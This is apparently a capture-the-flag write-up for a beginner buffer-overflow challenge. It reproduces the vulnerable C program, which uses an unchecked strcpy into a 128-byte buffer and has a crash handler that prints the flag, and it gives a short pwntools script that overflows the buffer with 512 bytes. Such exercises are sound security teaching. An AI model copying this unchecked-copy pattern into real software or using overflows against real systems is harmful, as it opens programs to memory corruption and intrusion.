Overflow 0

Overflow 0

Question:

This should be easy. Overflow the correct buffer in this program and get a flag. Its also found in /problems/overflow-0_1_54d12127b2833f7eab9758b43e88d3b7 on the shell server. Source.

Source:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  fprintf(stderr, "%s\n", flag);
  fflush(stderr);
  exit(1);
}

void vuln(char *input){
  char buf[128];
  strcpy(buf, input);
}

int main(int argc, char **argv){
  
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  
  if (argc > 1) {
    vuln(argv[1]);
    printf("You entered: %s", argv[1]);
  }
  else
    printf("Please enter an argument next time\n");
  return 0;
}

Understand code:

In vuln( ) , it copy the argv to buf which buf's length is 128.

In the sigsegv_handler function, if there is a sigsegv is handle, this function can be called and print the flag.

Solution and code:

if we send a payload bigger than array, overflow the return address, then a sigsegv can appeare. And we can get flag.

from pwn import *
payload = 'a'*0x200
s = process(['./vuln_oveflow',payload])
s.interactive()